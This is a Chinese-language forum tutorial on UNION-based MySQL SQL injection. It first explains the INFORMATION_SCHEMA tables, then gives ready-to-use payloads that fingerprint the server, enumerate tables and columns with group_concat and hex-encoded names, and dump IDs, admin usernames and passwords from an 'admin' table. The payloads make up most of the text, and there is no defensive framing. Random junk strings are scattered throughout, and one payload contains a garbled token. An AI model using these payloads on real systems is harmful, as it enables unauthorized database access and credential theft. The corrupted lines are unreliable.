mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

5 l1 Q" w- K% @4 f/ Y$ m# J学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
9 M3 G- p' u; u3 s) a) M1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
1 Q; i# B, j, u
6 v) p: c6 y  m5 ]# R/ A3 h|TABLES ->存储表名
( C9 W: T! a5 o|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
6 C$ G' U  z. _  x% S( c% C9 i' B|---字段：TABLE_NAME ->存储表的表名
# ^: M6 B* {- I& Y" B
|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
7 ^/ N6 k6 h/ I. q: X0 t6 v6 T|---字段：TABLE_NAME ->存储所属表的名称
5 {0 B4 y/ j' i8 x  A7 e5 U" e+ T
6 C  d( E7 i6 w. l! j* U|---字段：COLUMN_NAME ->该字段的名称


/ c& g- T5 C$ T* ~1 x8 [
, K/ H0 ?1 `. ~  }###########################################################################

3 m7 u7 ~4 N# F; |1 |7 N0x001 获取系统信息:

# ?, j4 W9 ~) W, Z/ m+ iunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

9 z/ e- n% ~0 z2 @/*
, d% H9 l7 p+ I8 ^  I1 t6 e. J; J
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
9 j1 f! k3 v1 j, V8 S* zdatabase() 当前数据库名称
  n0 m1 d, [- ?1 w* ]+ n& e( M0x3c62723e 换行HEX值
5 g+ F, X  K! X! D! [+ q1 {
*/

0 X% s- N- X. F% _0 Y
! p- J3 \% X8 t' T
######################################################################

( f0 A/ q) x8 @7 I$ H, D0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*


2 V/ T) m- c" [- ^4 _+ C
/*

1 {6 G4 _+ ]' O8 f* B+ l0x67617264656e 为当前数据库名
" r( c1 s  h  w2 d' A
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

+ Q# M+ m) E( B( \*/
6 E# l3 c' V9 t# l$ B
######################################################################
+ i% _) F5 X4 ^9 {
' a8 t$ V& d" \# c( x9 i
2 F* K- @- ?$ V1 h. ?
0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
% n" i% r6 e% y. J: A, w; E- ^, ^
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
# r$ o( {. s# \' `) Z
0x61646d696e ->选择一个表
5 K0 [9 d, ?3 K2 G
( k- v7 _  v5 K+ h# N. S- a- v, C0x67617264656e ->数据库名
, C0 c" K/ I5 C% `" H
9 q. t" F0 t7 ?# E% g$ L*/
9 P/ t) R3 _6 ^, K' t* F4 R
#####################################################################



0x004 获取数据
- O+ v0 Z; y( }7 W; D0 h
union select 1,2,3
  w8 O7 r4 M$ z; y,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
- v& y8 g! T' k' m) k6 G7 S' w; V
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
% Z, F9 R- z! ~9 c8 F
. u+ o$ n1 N, a4 t* e& c8 \6 G+ f" T

/*

  s+ R6 z( |0 D3 I; q0 M0x3c62723e 换行符号HEX编码
3 N8 F! r* k  ?' X
& s( G; |' f/ w& T. mgroup_concat 同时获得该字段所有数据
' F( ~( V0 |+ \  q% @! _
1 r4 K  r% p8 p# r( X*/
+ Z7 J5 Y& H2 {1 l' \
. ]. E* n; W" q7 v4 `, b6 A